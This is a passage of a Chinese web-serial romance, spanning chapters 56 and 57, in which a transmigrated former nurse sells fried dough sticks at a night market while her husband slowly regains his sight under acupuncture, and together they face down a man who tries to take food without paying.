陆鸢阻止道:“不用,你就站在我旁边就好。” 当一个招财的花瓶就好。 这么俊的一个大小伙,就应该安安静静的,张着大嘴巴没有半分形象可言,还让人怎么欣赏了? 她琢磨着还要他做人行招牌呢! 会不会被有权有势的富贵人家瞧中,从而发生巧取豪夺的事,在干瘪的钱袋子之下,陆鸢选择抛之脑后。 没钱比见鬼还可怕,还担心什么破劳什的巧取豪夺。 在还不算吵闹的夜市中,陆鸢的吆喝声格外清脆响亮。 有人没听说过油条,也纷纷瞧了过来。 一眼看到那摊子前立了个英俊郎君,都不由地多看几眼,然后再走过来瞧一瞧什么是油条。 走近后,有人问:“这油条是哪里的吃食,怎从来没听说过?” 陆鸢笑应:“是临安的一道小食,又香又酥,要不要买一根来尝尝?” 祁晟听闻她说是临安的吃食,眉心微微蹙了一下便恢复正常。 她是黔地人,黔地离临安又数千里路,她又是何时去过临安的? 她有太多太多的与众不同了,现在的这疑点对于她来说,也在他看来,也算是正常。 “多少钱一根?” 陆鸢笑吟吟的应:“三文钱一根。” 那人微微皱眉,有些嫌贵。 陆鸢道:“这馒头都得两文钱一个呢,更别说我这还费油,旁的油炸饼子也要三文钱一个,我这油条卖得可不算贵。” 那人还犹豫时,便有人道:“给我来一根。” 开张了开张了! 陆鸢笑意顿粲,用筷子夹起用荷叶包着,一手递给那人,一手收了三文钱,顺道递给祁晟。 祁晟放入了她给的钱袋子中,也听到了愉悦轻快的声音。 “好吃再来呀。” 那人点头,然后就咬了一口。 刚炸出来没多久的油条,很是酥脆,一口咬下,就发出细微的咔嚓声。 听声音就知道是真的很酥脆。 那人吃了一口后,对瞧着他,等着他反馈的人点了点头。 吃下去后,赞道:“这油条还真的又酥又香!” 他转头与摊主道:“再给我拿一根,折断包起来。” 陆鸢提醒:“这放久了,可能就不酥了,得尽快吃。” 那人点头道:“没事,我家近,一会儿就吃了。” 簸箕里剩下的一根油条,陆鸢用两张荷叶拿着掰断包了起来。 又是三文钱! 陆鸢的心终于落到了实处。 接下来,陆续有人来卖油条尝试。 人越来越多,或因多瞧几眼祁晟得,都让陆鸢招呼过来也瞧一瞧油条。 一斤半的面粉,做得四十多根小油条。 一个时辰就卖完收摊了。 他们两人摸黑回了家,二人洗了手,陆鸢问祁晟:“你有数今晚挣了多少吗?” 家里也没油灯,也不好数铜板。 祁晟应道:“我给你数着,是一百四十一枚铜板。” 陆鸢闻言,松了一口气,随即道:“锅里的油只剩下一半,下回摆摊,多做油条的话,肯定还得买两斤板油来熬,面粉也得买三斤,还有摊位费,扣除这些,估摸着就还有三十文钱。” 祁晟笑道:“也是挣了,若不然哪里有这些本钱来进货?” 陆鸢:“就是觉得没焐热呢,又得花出去了。” “等下回再出一次摊子,就能给你结清医药钱了。” 祁晟轻点了点头,继而道:“你也累了,一会我给你再松松肩。” 陆鸢应了声“好。” 摸黑回了屋,陆鸢便坐在床上,让他给她按肩。 祁晟宽大的手落在她的肩膀下,因按出了经验,力道格外合适。 陆鸢闭着眼享受,同时也听着从夜市传来的嘈杂声。 一会叫卖馄饨,一会叫卖糖人,一声比一声大,生怕比别人喊得小声。 还有往来客人大声议论的声音。 声声入耳,好似近在咫尺。 她问:“这么吵,你能睡得早吗?” 祁晟:“再过两个时辰就安静了,且只要一日能睡上两个半时辰,也完全足够了。” 陆鸢道:“双日没有宵禁,便是摊贩都收了摊,可那瓦舍估计是通宵达旦的。虽然咱们这里离得远,但等安静了,瓦舍的欢声笑语,丝竹管乐就清晰了。” 祁晟道:“那也不妨事,白日再补回来就好,再者这日子久,我兴许就能习惯了。” 陆鸢想了想,道:“那明日去医馆回来,你就歇着,我做衣裳,不吵你。” 别人两日就能做完的衣裳,陆鸢已经做了好几日,现在还差收个尾。 陆鸢说着话,也犯了困,与他说:“不用按了,我要睡了。” 说着,她就上了床,爬到了最里侧。 打了个哈欠,说:“你睡不着就出去走走,我估计一会儿就睡着了……” 声音渐小,一会儿就没了声,一点儿都不受嘈杂的环境影响。 祁晟坐在床边,面朝向熟睡了的人,面上多了丝丝愁思。 他明明不认识以前的苏丽娘,可基于祖母所言,和对她的来历与经历的了解,总觉得,她的性子和行事作风皆对不上逃荒来的苏丽娘。 经历过被婆家驱赶,一路艰苦逃荒的苏丽娘,应该是沉默的,是看透世态炎凉的。就着照顾了他数日,且由祖母口中得知,她之前确实如此。 可他现下的苏丽娘,是生机勃发的,每日都有说不完的话。看似性子跳脱,可做事却出乎意料的稳妥。看着轻浮,可去透露着纯真。 前后太过矛盾了。 世上,真的有这么矛盾的一个人吗? 第56章 陆鸢一觉醒来, 天色大亮,日光也已然从窗口照射了入屋中。 望着窗口的一片光亮,她一惊,蓦地坐起, 拍了拍身边的人:“快起来, 要迟了。” 巴掌还没落下, 祁晟就睁眼了,正欲起身, 巴掌就落在了他的胸口上。 祁晟:…… 陆鸢转头一瞧,就见他已然撑着手要坐起的姿势, 脸上表情带着微微的错愕。 她讪讪道:“失手失手, 别太在意。” 说着,便继续催促:“快起来, 这去医馆要晚了。” 祁晟坐起, 她便从旁边下床, 边梳头边道:“来不及做早饭了, 只能等一会经过东市时, 再买两个馒头当朝食了。” 她简单盘好发,插上荆钗, 再而晃了晃脑袋,确定发髻不会送散后, 就与祁晟一同到院子外盥洗。 盥洗后, 就着急忙慌地出了门。 去至医馆,大夫并未急着针灸, 而是先给祁晟号脉,拆下布条查看双目情况。 布条拆下,祁晟隐约可见眼前有人影晃动。 大夫询问过情况, 便让他把布条重新覆上。 陆鸢问:“如今的恢复状态,我郎君何时才能视物?” 大夫道:“依着你郎君的状况,再施针三到五次,便隔日施针数次,接下来的时日只需服药,慢慢等视力恢复。” 陆鸢听到“慢慢”这两个字,就觉得心慌慌,追问:“这慢慢恢复,到底是要等多久?” 大夫道:“若是要恢复七八成,甚至是正常,许多三到六个月。” 陆鸢思索了一下,道:“也就是说,在这三个月前,视力是可以恢复到六成的?” 大夫道:“可以这么说,甚至可能恢复得更快,如今视力恢复了一成,再针灸数次,恢复三四成也是没有问题的,又或者见效更快,五六成。” 恢复五六成,那也可以满足日常出行了。 针灸过后,便可归家。 从东市经过,陆鸢顺道买了米和菜,没敢花太多,只控制在了三十文钱内。 回到家中,陆鸢便做了饭,好让祁晟早点吃完,早点补眠。 今早起来的时候,陆鸢还在他眼底看见青色的眼圈。 一晚上也不至于有黑眼圈,可见他这些天都没能好好睡上一觉。 这里的环境,白日很安静,适合他补觉。 补足觉,明晚就与她出摊。 明晚出摊,就不可能像昨晚那么早就收摊了,估计得卖到子时。 祁晟无事可做,自然是要睡觉。 他这几日睡得并不好,再不休息,人也要扛不住。 瞧着他睡了,陆鸢便放轻动作把衣裳拿出院外来收尾。 第二回出摊,出得早,所以也还能占到上一回的摊位。 陆鸢炸了数根油条后,才开始吆喝叫卖。 对于新鲜吃食,也有人尝试过,且都说味道不错后,很多人都是愿意花三文钱买来尝一尝的。 陆鸢摊子的生意不错,就是缺个给她打包的人。 她转头瞧了眼招财的男人,心道,好歹还得恢复至三成视力,才能给她打包,再等等吧。 便是帮不上什么忙,但总归他也能做个宣传大使。 这夜市上,除了他们家,谁家摊子能有这么英俊的小哥? 新鲜吃食与英俊小哥,双重宣传,哪怕之后也有人琢磨出了油条,她这摊子还是有优势的。 夜色渐深,夜市的人少了许多,陆鸢便能闲下来歇一会了。 她拿了些钱,与祁晟道:“你看一会,我去买些灯油,若有人来了,你就让他等一会。” 她先前在夜市买了一个灯笼,但灯油很少,只够点半个时辰的。 当时从夜市回到小栈,火芯都小了许多,灯油也见了底。 陆鸢买了几文钱的灯油,添至灯笼之中。 添好灯油,她就提着灯笼返回,远远便瞧见摊子前等了好几个人,她急急走回。 等走近了,她便听到其中一个人说:“瞎子做什么买卖,还看什么摊子,这不是让人笑话么!” 陆鸢眉头皱了起来,再瞧祁晟的神色,有些冷脸。 她以为他是生气了,随之却听他沉声道:“你拿了油条还不想给钱,真当我看不到,就不知晓了?” 陆鸢快步走到了他身边,紧盯着前边的人,问身边的祁晟:“什么情况?” 祁晟与她道:“他知晓我瞧不见,想把油条拿走,不给银子。” 摊子前耍无赖的人看到妇人回来了,表情微变,忙辩解:“你这人怎么能诬赖人呢,我明明就是先拿了油条,再打算给钱,他却是直接抓住了我的手!” “你瞧瞧,都给抓出痕迹了!” 谁能想到这个瞎子竟还能精准地抓到了他的手,且力气还出乎意料的大,让他挣扎不开,等他油条放下,他也才把手松开。 陆鸢瞧了眼,手腕确实被抓出了红痕。 祁晟朝向陆鸢,道:“此人嘴上明明说的是贵,谁买谁是傻子,可手却不老实地拿起了油条。” 那人顿时气愤的反驳道:“我可没说过这些话,不信你问问周围的人,除了你这个瞎子,还有谁听到了?” “且我说的明明是我自己拿,然后再给你钱,可你倒还好,不由分说地抓住了我的手,还这般的诬陷且侮辱我,你们必须道歉赔偿,不然这事没完!” 陆鸢被气笑了,她看向耍无赖的人扯出笑:“你说我郎君无赖你,可你自己且听听你刚一开口就说了什么?” 旁人闻言,都不由自主地仔细回想男人刚说了什么话。 那人也愣了一下,没反应过来自己说过什么话。 陆鸢冷笑道:“旁人被人诬陷了,恨不得找人来证明,可你一开口就说我郎君说的话没旁人听到,没人能证明,可见你方才事特意观察过周边没人才过来的。你还说你没坏心思,你还观察这般仔细做什么?” 那人想要张口辩驳,陆鸢也没个他机会,步步紧逼道:“再者说,我家郎君瞧不见,这夜市上也不是没人知晓。你说不定早早就知晓了,就守着我不在,特意过来占便宜!” “你若说没有,总该有人看见你在周围晃悠了许久,我一问人便能知道是不是!” 她的话一出来,旁人也真的仔细琢磨起这人刚刚说的话来,然后交头接耳。 隐约可听到围观的人说,说她的话有道理。 那人也听见了,顿时气极:“你这妇人怎么说话的!我还能图你几文钱的油条不成!” 陆鸢:“图不图我不知晓,但我听不得旁人说我郎君,且谁说我郎君是瞎子的?” 那人一愣,又听她说:“我郎君能瞧得见,只是视物模糊,所以你也别想从我郎君这里占半点便宜。” 其他人闻言,都明白了,这还真是碰上无赖了。 试问这摆摊的做买卖的,谁会给客人瞧脸色?更没有和正经客人吵嘴的道理。 那无赖脸上闪过一抹慌张,却依旧梗着脖子道 :“你们这摊子欺客,这买卖肯定做不长久!我懒得与你们这些不讲理的人争辩,浪费我时间。” 说着,就骂骂咧咧地走了。 热闹散了,其他人也散了。 陆鸢也不装了,脸上露出了怒色,低声骂道:“臭不要脸的无赖。” 祁晟道:“不要为这种无赖置气。” 陆鸢转头看向他:“他都那样说你了,你还不气呀?” 祁晟笑了笑:“他后边说的是实话,我确实是个瞎子。” 陆鸢气道:“不过就是短暂的瞧不见,过段时间就能看见了,这算哪门子瞎子?!” 说着,又念叨:“就算真的是瞎子又怎么了,瞎子都比他这个无赖强上千万倍。” 祁晟闻言,唇角不由地往上勾了勾。 有人来买油条,陆鸢才停下了念叨。 未到子时,没了面,陆鸢便也就收摊回去了。 提着灯笼归家后,陆鸢烧了点热水用来洗脸洗脚。 夜里寒凉,水凉得刺骨,她的身体可经不住冷水泡。 陆鸢泡脚,拉着祁晟一块,她踩在他的脚背上,丝毫不在意他绷紧的身躯。 他似乎还适应不了过于亲密的举动。 陆鸢想起今晚的事,依旧很气愤。 “世上怎么会有这种无赖,专挑老弱病残来下手,真不要脸。” 祁晟大部分心思都被踩在自己脚背上的脚引去了。还有部分心思,在琢磨是不是该让她多添些凉水上。 这水未免烫了些,她就真感觉不到吗? 她见祁晟似乎没把自己的话听进去,道:“你倒是说句话呀?” 祁晟回神,问:“能添点凉水吗?这水似乎烫了些。” 陆鸢皱眉道:“烫吗?可我怎么觉着还好?” 她把脚挪开,道:“你觉得烫,那就别泡了吧。” 祁晟暗暗松了一口气,把脚从盆里抬了出来。 陆鸢复而把脚放到盆中,说:“下回我定然不会再离开半步了,省得还有无赖想占便宜。” 祁晟轻叹一声:“若是我这双目能早些恢复,也能帮上你。” 陆鸢:“这事急不得,慢慢来吧。” “而且谁说你帮不上忙的?桌子不是你帮我背到夜市的?昨日和今日用的水,也还是你给提回来的呢。” 这巷子人少,所以祁晟在对这巷子熟悉之后,便主动跟着出去提水。 一手拿着竹竿探路,一手提着一桶八分满的水,提得一点都不吃力。 谁家盲人能做这么多活的? 当然也有,但她没见过,她就只见过祁晟这么一个。 祁晟轻笑了一声,道:“你不是说想把全部的重活都交给我干,就这么些活,你就满足了?” 陆鸢心忖,你一个身体有所不便的人,都能主动帮忙干活了,我还能有什么不满足的? “我在等,等你眼睛能好。”她说。 恢复三四成的后,可以绕开障碍了,这会就能干更多的活了。 祁晟唇边的笑意更浓了些,又问回了原来的问题:“真不用添些凉水?” 陆鸢低头瞧了眼他那双泡得通红的大脚,沉默了一下。 敢情刚刚绷着身体,不全是因为她踩在他的脚背上,而是被水烫着了,才绷着的。 陆鸢一阵无语,半晌后,才道:“你觉得烫,也不知道说句话。” 祁晟道:“我以为你会添凉水。” 谁能想到,她竟和没事人一样泡着。 陆鸢感受了一下热水的温度,说:“我倒是觉得刚刚好。” 想了想,又说:“可能是因为我身体比较虚,所以才耐热。” 说到这,她调侃道:“咱们一个虚,一个瞎,家里还有一个老的,两个小的,算不算老弱病残?” 祁晟微微挑眉:“这般情况,你竟还有心情开玩笑。” 陆鸢笑道:“那总不能哭呀,哭可改变不了现状。” 她踢了踢盆里的水,继而道:“你说,咱们在城里的摊子若是收入好的话,要不要继续留在城里?” 祁晟想了想,说:“生意好的话,等咱们月底回一趟家里,然后再回城里继续摆摊,等多挣钱了,就把祖母和春华秋花接到城里。” 陆鸢心说这不是妥妥的留守老人和留守儿童了? “可我不太放心,老太太年岁大了,两个孩子又小,真出点什么事,咱们也赶不回去。” 祁晟问:“那你的意思是把她们接来城里?” 陆鸢想了想,说:“我是这么想的,等你视力恢复一些,我再买一张可拆的桌子,然后就去东市卖早市,不仅卖油条,也卖豆乳,肯定能多挣钱,到了月底,就能挣到再租一个小院的钱了。” “可若是如此,你会很累。”他顿了顿,又道:“大夫说过,你不能太过操劳,便是要接她们进城,也可以再缓一个月,不急着在这个月。” “等再缓一个月,我双目视物的情况更好了,能帮上你的时候,咱们再去东市摆早市。” 祁晟劝说的话,也让陆鸢想起了自己这身体的情况。 她思索了一下,叹了一声:“就是觉得把老太太和春华秋花留在围山村,怪可怜的。” 祁晟何尝不心疼自己的祖母。可时下的情况而言,她确实不适合太过操劳。 他与她道:“双日出摊,你都要忙活大半日,晚上也要忙到子时了,尚且有一日休息,也能缓得过来。” “可若是日日还出早市,再加上你还想做豆乳,那你这白日也要忙活,卯时不到就得起来准备出早市。早市结束回到家中,吃了中食就歇下,休息不到两个时辰,又该为夜市与第二日的早市做准备了。” 陆鸢方才也没仔细想,听他这么一说,都觉得累得慌。 顿时打消了月底回去后,把老人孩子接来城里的想法。 “那……再缓缓?” 祁晟轻叹:“比起把她们接来,眼下更重要的,是把你自己的身体先养好。” 陆鸢:“我晓得了,那先再攒攒钱吧,手头宽裕一些,她们到城里来,也不至于和我们吃苦。” 水有些凉了,她便把脚抬起,搭在盆边晾干。 等脚干了,便趿着草鞋,端着水出屋外倒。 回了屋,她道:“刚摆摊的时候不觉得,现在从屋子出去时,一股子冷风吹来,可真冷。” 祁晟道:“祖母给你装了干芦花,明日若冷了,便塞些进衣服的夹层。” 来时,何老太太知道孙媳的针线活差,便给他们把内里夹层也给做好了。 便是新衣也弄有夹层,让她自己缝上。 陆鸢在这些小事上,有些犯懒,便敷衍道:“白日也不是特别冷,这塞了芦花就太热了。” 说着便吹熄了灯笼,爬上床钻入被窝中。 祁晟看不见她脸上的神色,但了解她。 “别犯懒,冷得可是你自己。”他念道。 “知道了,知道了。冷的话,我会自己添的。” 祁晟:…… 他听得出来,她还是在敷衍。 陆鸢拍了拍床,喊道:“你也快上来睡吧,虽然不一定能睡得着,但躺一躺也舒服点。” 刚好到子时,夜市里,里甲也开始敲锣提醒摊贩该收摊了。 这会是最吵的,外头传来噼里啪啦收摊的声音,陆鸢便是困,听着声也睡不着。 等了小半个时辰后,才安静了下来,只是瓦舍还隐隐传来管乐丝竹声。 陆鸢打了个哈欠,说:“这地方,还真不适合居住,等咱们挣了钱,把老太太和春华秋花接到城里来时,再租个安静的小院。” 祁晟脱去外衫躺到了榻上,说:“你困了就睡吧,不用特意陪我。” 陆鸢把被衾往他身上扯去,应道:“没陪你,一会我可能与你说着话,下一刻就睡着了。” 说罢,又道:“夜里我睡得沉,要是翻身躺到你身上,你大可直接把我推开,反正我就算醒了,也还能继续睡。” 祁晟把身上的被衾理好,应了声“嗯。” 陆鸢晓得他这个人做事就是闷不吭声的性子,便又说:“你可别嘴上应着,然后又硬撑到早上,我大半个人躺在你身上,躺上大半宿,还不得把你半个身子都枕麻了。” 想了想,又补充:“我早上可是要检查的。” 祁晟闻言,无奈地笑了笑:“晓得了。” 他才应下,她就小声嘀咕:“敷衍。” …… 她原来也知道这样应敷衍呀,那她怎不觉得自己也应得敷衍? 真真是五十步笑百步。 黑暗中,祁晟依旧笑得无奈。 陆鸢虽有些困,但还不忘问:“今晚咱们挣了多少?” 她怕数铜板数亢奋了,下半夜估计都不用睡了。 祁晟应道:“二百九十一文。” 陆鸢喜道:“那这生意还是不错的。” 成本只花了百来文,估计有一百八十多的盈利呢。 祁晟这几日的医药费也可以结清了。虽然结清后,也没剩多少,可她原本半落定的心,这回是确确实实地落到了地上,稳了。 祁晟与她道:“油条是新鲜吃食,所以才会这么多人买,等过了些时候,可能就没这么多人买了。” 陆鸢道:“这点我知道,反正短期内还是能挣这么多的,我也满足了。” “等明儿前边干活铺子开了,我再去问问东家,这附近谁家有石磨,我花几个钱借来使使,等后日,咱们顺道油条和豆乳搭着卖。” 祁晟:“我倒是可以给你推磨了。” 陆鸢忽然笑道:“你晓得不,就那些驴再推磨时候,也是被蒙着眼不停地推磨。” 祁晟也不气,反倒跟着笑:“你这是把我比作驴了?” 她这张嘴,有时也是真的损。 陆鸢连连摇头,忍着笑意道:“我可没说,是你自己说的。” 祁晟:“不是说困了,怎还不睡?” 陆鸢:“今晚挣上钱了,有点儿激动,虽然眼皮子困,但头脑还是清醒的。” 这种感觉,祁晟这几日都在经历,自是了解。 “你先前卖豆乳和豆花,不也能挣钱,怎还会因今晚挣了钱而激动?” 陆鸢道:“这还不是咱们在一个陌生的地方,手上就只剩下十几文钱了,且还欠着医馆的钱没给呢,你也还要继续医治,我这些天可愁了,如今这些压力都因挣钱而没了,你说我能不激动么?” 祁晟不禁好奇:“你有压力时,说睡就睡,可为何没了压力,反倒睡不着了?” 陆鸢想了想,摇头:“我也不晓得。” 说着,又不禁盘算起下回能挣多少钱了。 不能想了,真不能想了,再想下去就真不用睡了。 “睡觉睡觉,我不与你说话了。” 说着就闭着眼,闭上嘴。 祁晟听到她这么说,便也不再出声,也闭眼休息。 也不知过了多久,身边的人翻来覆去,许是床太小,睡不开,她怎么翻身找不到一个舒适的睡姿。 祁晟正琢磨着要不要开口说他出去坐会,她忽然就抬起了脚,犹豫不决地不知要做什么,好半晌才小心翼翼地搭到了他的小腿上。 祁晟:…… 她睡前还信誓旦旦地让他把她推开,可夜半睡不着,却把脚放到了他的身上,他是该推,还是不推? 许是她自个也觉得理亏,便在他耳边小声道:“我睡不着,就让我搭一会,一会我睡着了,你再把我推开。” 祁晟默了一下,道:“你搭吧。” 陆鸢顿时搭得心安理得了,整个人侧身,把手臂也搭到了他的身上。 她还真是依旧的……得寸进尺。 没一会,祁晟便听到了她均匀的呼吸声。 她这真是搭习惯了,不搭还睡不着了。 他到底没有把推开,而是随她任意搭放。 日上三竿,陆鸢醒来时,瞧着自己半个人又趴到了祁晟身上,沉默了片刻后,悄然缩回手脚。 祁晟感觉到她醒了,并未急着睁眼,等她做贼似地把手脚挪开,他才睁眼。 睁开眼之时,光亮映入眼中,有些刺眼,眨了眨眼才逐渐适应。 适应后下一瞬,一道纤细的身影便径直撞入了他模糊的视野中。 他看到她半转过身,望着他,甚至还朝着他挥了挥手。 她的五官,在他的眼中很是模糊,但他能看到她那张脸的轮廓。 “怎了?”他问。 陆鸢看着他的双目,语声狐疑:“我怎么觉得,你好似能看见我了?” 不然他那双褐色的眼珠子怎会一直盯着她。 祁晟唇角微微上扬,声音中掺着不易察觉的愉悦:“确实是能瞧到你的轮廓了,只是五官还是模糊的。” 陆鸢闻言,瞳孔微一缩,蓦地弯下腰,凑近观察他的眼睛。 她忽然凑近,让祁晟一愣,呼吸有一瞬间的停滞。 他仔细的望着近在咫尺的人,希望视野能清晰一下,但还是徒劳。 模糊的五官,依旧是拼凑不出她真实的模样,可他觉得,她并不难看。 不管她长得如何,好看与否,还是貌丑,她都是他的妻。 陆鸢望着有光亮折射的眼睛,脸上露出了笑意,兴奋道:“你这情况,算不算是恢复了三成?” 都能瞧见轮廓,而不是人影了,那再过数日,是不是可以看得更清晰了?! 第57章 祁晟自早间说过双目视物清晰了一些后, 陆鸢的视线时不时看过来。 便是帮他端来盥洗的水,也是特意递偏了位置,以此来试探。 祁晟微微眯眸,迟疑了两息, 才伸手握住装水的竹筒。 握住竹筒的时候, 手还是稍偏了一些。 不过, 陆鸢觉得这已经很好了,之前她还要直接放到他的手上。 盥洗过后, 祁晟提了桶要去打水,陆鸢道:“等从医馆回来了, 我与你一块去。” 祁晟回应:“我想试试自己去打水, 你不是要数铜板吗,你先去数。” 陆鸢还要数铜板的同时串起来, 好带去医馆给祁晟结清医药费。 她闻言, 语气中带着怀疑:“你能行吗?别把桶给掉井里了, 那可是要花钱买的。” 祁晟默了一瞬, 才言:“我闭着眼也能打得到水, 且便是我掉下……” 话未说完,便见她快速上前, 直接捂住了他的嘴。 祁晟一瞬间的怔忪。 陆鸢被人从水里捞过一回,听不得他的话, 急道:“呸呸呸, 乱说什么,桶掉了就掉了, 说这些话做什么!” 她阻止了他的话,再而松开了手,没好气道:“去吧, 早些回来,打不到水也别勉强。” 平日里都是她绑好了桶,他再拉上来。 想来他只需要找到水井,摸索到打水绳后,绑上一个桶也轻而易举。 祁晟回了神,心思却稍乱。 “我去去就回。” 说罢,也不去瞧她,转身就朝着院子而去。 他的视野模糊,脚下细小之物瞧不到,前边门框也是有几度重影,是以脚下步伐慢了些。 陆鸢看着他徐步出了院子,等了小半晌后,她才蹑手蹑脚地走到门边,探出头往打水的方向望去。 只见祁晟步履缓慢地走在巷子里。 等没影了,她才悄悄跟上去。 然后远远地看着他把水打上来后,暗暗松了一口气。见他解开绳子要提水返回时,她掉头就跑了回去。 陆鸢回到家中,边进屋去边数边串铜板,但还是分了些心思听院子里的声响。 数铜板数到一半的时候,外头就传来了声音,然后……就忘记数了多少枚铜板。 祁晟把水提到水缸旁,拿开上边的木盖后,才把水倒进去。 他朝屋子的方向望去,开了口:“你慢些数,我再去提一桶水回来。” 他也没有点破她方才跟着出去的事。 他原本常年在山野间打猎,耳力就极好,眼盲之后,这耳力较之先前更好了。 她鬼祟地跟在自己身后,哪怕离得远,还放轻了步子,他也察觉到了。 她无非就是放心不下他自己一个人出去打水。 她就好似把他当成了那蹒跚学步的稚童。 想到这里,祁晟不由自主地笑了。 他脸上挂着笑意又出去了一趟。 陆鸢方才跟着出去瞧过一回了,也不担心了,随着他了。 她复而又把串好的铜钱又数了一遍。 陆鸢把铜钱数好,刚绑好绳结,祁晟就第二次打水回来了。 她把串好的两百五十枚的铜钱都放到了钱袋子里,拿着袋子走了出来,非常地捧场道:“你可真厉害,眼睛才刚好一些,就这么一会会便提了两桶水回来。” 祁晟蓦地笑出了声,不由得抬头遮住眼里的笑意。 陆鸢奇怪道:“你笑什么,我就夸你一句,你就这么高兴?” 祁晟笑意微收,缓缓摇了摇头,自是不能说她这真的像是在哄稚儿。 陆鸢见状,在心下嘀咕奇奇怪怪的。 随之,她的目光落在他的双目,说:“大夫也没交代过什么时候不用遮住双目,还是把布巾戴上吧。” 祁晟笑意敛去,点了头,回屋取布条遮住双目。 黑色布条遮住双眸,只隐约透来微弱的光亮。 他这小半年下来已经适应了黑暗,倒也没有任何的不适。 轻车熟路地拿起竹竿,与她道:“走吧。” 陆鸢拿上锁头,出了门后,便把院门给锁上。 通往铺子的门没有锁,只能是用绳子给绑了死结,等回来时,绕去西市再买个锁头回来。 去至医馆,陆鸢把欠下的三日医药钱结清了,今日五十文的针灸费用也一并给了。 结清后,陆鸢才找到大夫,商量道:“我如今在夜市摆了个小摊,才刚开张两日,结清了前几日和今日的药钱,便囊中羞涩了,且今日不出摊,所以明日的医药钱,能不能缓到后天再给?” 大夫听到药童说他们夫妻已经把之前的账结清了,便知道他们是守信用的,且是能负担得起的,便应道:“那你们之后便两日一结吧。” 陆鸢笑意顿粲:“谢谢大夫。” 把医药钱的事商量好了,陆鸢才与大夫道:“我郎君今日起来的时候,说是能看得更清了。” 大夫闻言,便让祁晟把眼巾摘下,然后仔细查看眼珠子的变化,确实在慢慢地聚光了。 大夫举起了手,问他:“这是几根手指?” 祁晟微微眯眸,定眼瞧了半会,说:“有重影,瞧得不真切,像三根,又像四根。” 陆鸢默然地看向大夫竖起的两根手指。 他视物重影还是挺严重的。 大夫收了手,道:“这也比老朽预想的要恢复得好。” “本预想是再施针三到五次再隔日施针,但就时下来看,再连续施针两日,之后便隔日施针五次再看情况,若是恢复得快,就不需要再施针了。” 要真按照大夫所言的治疗方式进行,那不仅能省下一笔银子,而且他也不用受那么多罪。 哪怕针灸不疼,可日日在脑袋上针灸,日子长久了,谁都受不了。 祁晟在针灸过后,他大夫问:“眼巾是否可以拆下了?” 大夫应:“晚间和晨间都可以不戴,但白日的光照过于强烈,还是得戴上眼巾,若你觉得这布太厚实,可换成轻薄可透的布料。” 陆鸢在旁点了点头,眼睛刚经过重创,要恢复,她明白的。 就是这时代没有墨镜,不然也不用那么麻烦地戴什么眼巾,遮住视线。 从医馆出来,陆鸢道:“今日带出来的银钱,都给你结了账。等明天针灸之后,咱们再去布料铺子挑条透光且轻薄的纱布。” 就是锁铺子和后院门的锁头买不了了,是铜制的锁头,肯定不便宜。 祁晟应道:“买不买都成,总归入了夜也不用戴,还能帮你看摊子。” 陆鸢应道:“该买还是得买的,起码白日还可以看路。” 归至租赁的小院,陆鸢让他去补眠,她则在附近逛逛,顺道瞧瞧这附近的铺子,有哪一家铺子的买卖是需要用到石磨的。 比如粉摊粉铺,或是糕点铺子。 这些铺子的后院很可能都有石磨。 等先记住位置,明日出摊前再去问问,看能不能租借石磨来使。 她明晚还卖不了豆乳,所以今日也不着急问。 还卖不了豆乳,不是买不起材料,而是暂时买不起桌椅和碗勺。 这豆乳搭着油条,不见得城里的人会像镇上的人,愿意站着吃 。 而祁晟四天的针灸费和药钱,都花了两百多文,如今剩下的,只够明日出摊的材料费和摊位费,再有就是这两三日的买菜买米钱。 这情况,也是比开摊子前是要好一些的。 等明晚再出一回摊子,手头上就能宽松些。 就现在这挣钱速度赶不上花销速度,她竟然想把老人孩子接到城里来,过于异想天开了。 等祁晟不用再针灸了,每日能省下五十文后,那会才是开始挣钱的时候。 陆鸢出门逛了一圈,记下了两间点心铺子和红丝馎饦铺子的位置。 傍晚,天色微暗,祁晟便把眼巾取下了,再次去打水,用来烧水洗澡。 他去提了三回,陆鸢见他脸不红气也不喘,便也没有拦他。 她做了一年的护士,真没见过哪个病患的体质能有他这么好的。 她觉着,要不是因为他眼睛不好使,阻碍了他,他估计都还能出城去无主荒山给她砍两捆柴回来。 陆鸢低头看了眼角落里那稀稀落落的柴火,估摸着只够明晚再出一回摊子了,后日一早就得去西市买柴火了。 陆鸢在天黑前就洗了澡,祁晟摸黑也无甚影响。 她从窄小的澡间出来,便给祁晟兑好洗澡水,让他自提进去。 祁晟把水提进了澡间,放下草帘时,便与她说:“你把衣服放到盆里,一会我给你洗。” 陆鸢一喜:“这可是你说的,我可没喊你。” 祁晟“嗯”了一声。 陆鸢忙把自己的贴身衣物洗了,晾在院子里的晾衣竿上,再而把外衫都放到了盆里,趿着鞋跑进屋子里,立即上榻裹上被衾。 这天一天比一天凉了,瞧来还真的要把芦花塞进衣服里了。 等后日得空了,再做。 陆鸢听着外头的声响,没半刻,祁晟就从澡间出来,然后是洗衣裳的声音。 陆鸢听着声,不由地傻乐。 不用洗衣服真好,要是这会再给她两本话本,和一些小零嘴,这日子才叫舒坦呢。 要是这时代能有土豆,她还能炸些薯片,但好像她都没有在镇上或是城里看见过土豆,估摸着这会还没从外邦传进来呢。 虽说现今的朝代不属于历史上任何一个朝代,但却与宋朝相似。 饮食习惯,还有开放夜市,都与宋朝相似。 如果轨迹也有重合的话,说明这土豆还得再改朝换代后的下一个朝代才会传入,所以薯片这零嘴也只能是想一想了。 陆鸢胡思乱想之际,祁晟也晾好衣服回了屋。 她往里挪了挪,问:“你要睡了吗?” 祁晟摇了摇头:“今日睡得多了,不困,你先睡。” 陆鸢道:“那我先睡了,你困了就自己上来。” 祁晟“嗯”了一声,在杌子上坐下。 陆鸢熄了灯笼,便也就躺了下来。 自己躺在一张床上,说不出的宽敞,舒适。 挣钱了,还得换一张床,或者再添一张竹床,不然一直挤着睡,太憋屈了。 陆鸢的消费清单表上,又多添了一项。 翌日出摊前,陆鸢去问了三间铺子,只有两间铺子有石磨的,但仅一间肯把石磨借给她用。 但得按着三文钱半个时辰算,双日最多只能用一个时辰。 仔细算算,一个时辰就只能磨六七斤湿豆子,也就是两斤干豆泡发的豆子。 两斤豆子,也就只有三十来碗的豆乳。 这本钱是十六文,估计就只能挣个二十文。 没有石磨真不方便,可石磨贵得很,现在肯定是买不起的,所以便是只挣二十文,那都是挣的。 约定好下回双日申时再过来用豆浆,陆鸢才返回家中洗洗涮涮准备出摊。 依旧是祁晟把重物都背了出去,然后陆鸢来把油端出去。 都不用陆鸢吆喝了,一出摊,就有人等着她炸油条了。 今晚风有些大,瓦舍的灯笼都被吹得摇晃,一些铺子或是小摊的旗子也被吹得翻飞乱舞。 